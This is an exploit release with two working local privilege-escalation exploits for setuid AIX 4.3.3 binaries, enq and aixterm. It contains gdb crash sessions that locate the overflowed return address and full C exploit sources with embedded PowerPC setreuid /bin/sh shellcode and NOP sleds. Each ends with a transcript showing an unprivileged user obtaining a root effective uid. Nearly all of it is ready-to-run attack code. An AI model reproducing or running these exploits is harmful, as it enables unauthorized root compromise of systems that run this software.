/* Title: /usr/bin/enq and /usr/bin/X11/aixterm exploit in AIX Vulnerability found by Esa Etelavoun, iDEFFENSE Author: green(green@wowhacker.org), dragory(dragory@wowhacker.org) Tested on AIX 4.3.3/RS6000 Reference: lsd-pl.net's exploit Thanks to wowcode & overhead team at Wowhacker(http://www.wowhacker.org) */ I tested BOF in AIX lately. These are exploits of /usr/bin/enq and /usr/bin/X11/aixterm in AIX. (My system language is Korean...) 1. /usr/bin/enq /* http://online.securityfocus.com/bid/2034 [green@aix test]$ /usr/bin/enq -M `perl -e 'print "a"x2000'` enq: (경고): 0781-132 메세지 파일 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa을(를) 열 수 없습니다. enq: errno = 86: 파일이나 경로 이름이 너무 깁니다. Segmentation fault [green@aix test]$ su - root의 암호: # gdb /usr/bin/enq GNU gdb 5.0-aix51-020209 Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "powerpc-ibm-aix4.3.3.0"...(no debugging symbols found)... (gdb) r -M `perl -e 'print "abcd"x700'` Starting program: /usr/bin/enq -M `perl -e 'print "abcd"x700'` (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...enq: (경고): 0781-132 메세지 파일 abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabc dabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdab cdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcda bcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcd abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabc dabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdab cdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcda bcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcd abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabc dabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdab cdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcda bcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcd abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabc dabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdab cdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcda bcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcd abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabc dabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdab cdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcda bcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcd abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabc dabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdab cdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcda bcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcd abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabc dabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdab cdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcda bcenq: (경고): 0781-132 메세지 파일 abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabc dabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdab cdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcda bcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcd abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabc dabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdab cdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcda bcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcd abcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabc dabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdabcdab cdabcdabcda enq: errno = 86: 파일이나 경로 이름이 너무 깁니다. Program received signal SIGSEGV, Segmentation fault. 0x62636460 in ?? () from (unknown load module) (gdb) r -M `perl -e 'print "abcd"x5000'` The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /usr/bin/enq -M `perl -e 'print "abcd"x5000'` Program received signal SIGSEGV, Segmentation fault. 0xd018a654 in getenv () (gdb) q [green@aix test]$ id uid=205(green) gid=1(staff) [green@aix test]$ ./aix_enq enq: (WARNING): Can't open message file //////////////////////////////////////////////////enq: (WARNING): Can't open message file /////////////////////////////////////////////////////? enq: errno = 86: File name too long # id uid=205(green) gid=1(staff) euid=0(root) egid=9(printq) # exploited by green. */ #define ADRNUM 3000 #define NOPNUM 16000 #define ADR_ALLIGN 0 #define ALLIGN 0 char setreuidcode[]= "\x7e\x94\xa2\x79\x40\x82\xff\xfd\x7e\xa8\x02\xa6\x3a\xb5\x01\x40" "\x88\x55\xfe\xe0\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6" "\x4c\xc6\x33\x42\x44\xff\xff\x02\x92\x03\xff\xff\x38\x75\xff\x04" "\x38\x95\xff\x0c\x7e\x85\xa3\x78\x90\x75\xff\x0c\x92\x95\xff\x10" "\x88\x55\xfe\xe1\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh"; char nop[]="\x7f\xff\xfb\x78"; main(int argc,char **argv,char **e){ char buffer[3000],egg[20000],adr[4],*b,*envp[2]; int i; i=0; while(*e++) i+=strlen(*e)+1; *((unsigned long*)adr)=(unsigned long)e+(i&~3)-8000; envp[0]=egg; envp[1]=0; b=buffer; for(i=0;i<ADR_ALLIGN;i++) *b++=adr[i%4]; for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; *b=0; b=egg; sprintf(b,"xxx=");b+=4; for(i=0; i<ALLIGN;i++) *b++=' '; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i]; *b=0; execle("/usr/bin/enq", "enq", "-M", buffer, 0, envp); } --------------------------------------------------------------------------- -------------------------------- 2. /usr/bin/X11/aixterm /* [dragory@aix dragory]$ cp /usr/bin/X11/aixterm ./test [dragory@aix dragory]$ ./test -display x.x.x.x:0 -im `perl - e 'print "x"x400'` Segmentation fault (core dumped) [dragory@aix dragory]$ gdb -q test core (no debugging symbols found)...Core was generated by `test'. Program terminated with signal 11, Segmentation fault. (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)...#0 0x78787878 in ?? () from (unknown load module) (gdb) q [dragory@aix dragory]$ ./test -display x.x.x.x:0 -im a`perl - e 'print "abcd"x100'` [dragory@aix dragory]$ gdb -q test core (no debugging symbols found)...Core was generated by `test'. Program terminated with signal 11, Segmentation fault. (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)...#0 0x63646160 in ?? () from (unknown load module) (gdb) q [dragory@aix dragory]$ ./test -display x.x.x.x:0 -im ab`perl - e 'print "abcd"x100'` [dragory@aix dragory]$ gdb -q test core (no debugging symbols found)...Core was generated by `test'. Program terminated with signal 11, Segmentation fault. (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)...#0 0x62636460 in ?? () from (unknown load module) (gdb) q [dragory@aix dragory]$ ./test -display x.x.x.x:0 -im abc`perl - e 'print "abcd"x100'` [dragory@aix dragory]$ gdb -q test core (no debugging symbols found)...Core was generated by `test'. Program terminated with signal 11, Segmentation fault. (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)...(no debugging symbols found)... (no debugging symbols found)...(no debugging symbols found)...#0 0x61626364 in ?? () from (unknown load module) (gdb) q //ADR_ALLIGN = 3 [dragory@aix dragory]$ uname AIX [dragory@aix dragory]$ ls -l /usr/bin/X11/aixterm -rwsr-xr-x 1 root system 376096 7월 20 1999 /usr/bin/X11/aixterm [dragory@aix dragory]$ id uid=218(dragory) gid=1(staff) [dragory@aix dragory]$ gcc -o aixterm_exp aixterm_exp.c [dragory@aix dragory]$ ./aixterm_exp -d X.X.X.X:0 # id uid=218(dragory) gid=1(staff) euid=0(root) # The vulnerability was discovered by Euan Briggs. exploited by dragory. */ //Original script is written by green #include <stdio.h> #include <unistd.h> #define ADRNUM 1000 #define NOPNUM 16000 #define ADR_ALLIGN 3 #define ALLIGN 0 #define HOST_IP "1.1.1.1:0" char setreuidcode[]= "\x7e\x94\xa2\x79\x40\x82\xff\xfd\x7e\xa8\x02\xa6\x3a\xb5\x01\x40" "\x88\x55\xfe\xe0\x7e\x83\xa3\x78\x3a\xd5\xfe\xe4\x7e\xc8\x03\xa6" "\x4c\xc6\x33\x42\x44\xff\xff\x02\x92\x03\xff\xff\x38\x75\xff\x04" "\x38\x95\xff\x0c\x7e\x85\xa3\x78\x90\x75\xff\x0c\x92\x95\xff\x10" "\x88\x55\xfe\xe1\x9a\x95\xff\x0b\x4b\xff\xff\xd8/bin/sh"; //This shellcode is used in AIX 4.3.x char nop[]="\x7f\xff\xfb\x78"; main(int argc,char **argv,char **e) { char buffer[3000],egg[20000],adr[4],*b,*envp[2], host_ip[] = HOST_IP; int i, opt, adr_allign = ADR_ALLIGN, allign = ALLIGN; if(argc < 2) { usage(argv[0]); exit(0); } while((opt = getopt(argc, argv, "d:a:A:")) != -1) { switch(opt) { case 'd': strcpy(host_ip, optarg); break; case 'a': adr_allign = atoi(optarg); break; case 'A': allign = atoi(optarg); break; case '?': usage(argv[0]); exit(0); } } i=0; while(*e++) i+=strlen(*e)+1; *((unsigned long*)adr)=(unsigned long)e+(i&~3)-8000; //http://lsd- pl.net envp[0]=egg; envp[1]=0; b=buffer; for(i=0;i<adr_allign;i++) *b++=adr[i%4]; for(i=0;i<ADRNUM;i++) *b++=adr[i%4]; *b=0; b=egg; sprintf(b,"xxx=");b+=4; for(i=0; i<allign;i++) *b++=' '; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; for(i=0;i<strlen(setreuidcode);i++) *b++=setreuidcode[i]; *b=0; execle("/usr/bin/X11/aixterm", "aixterm", "-display", host_ip, "-im", buffer, 0, envp); } usage(char *arg) { printf("Usage : %s -d [Your X Server IP:0] -a [ADR_ALLIGN] -A [ALLIGN] \n", arg); printf("Default : [Your X Server IP:0]=1.1.1.1:0 ADR_ALLIGN=3 ALLIGN=0 \n"); printf("If not exploited, you may modify ALLIGN, Your X Server IP\n"); }
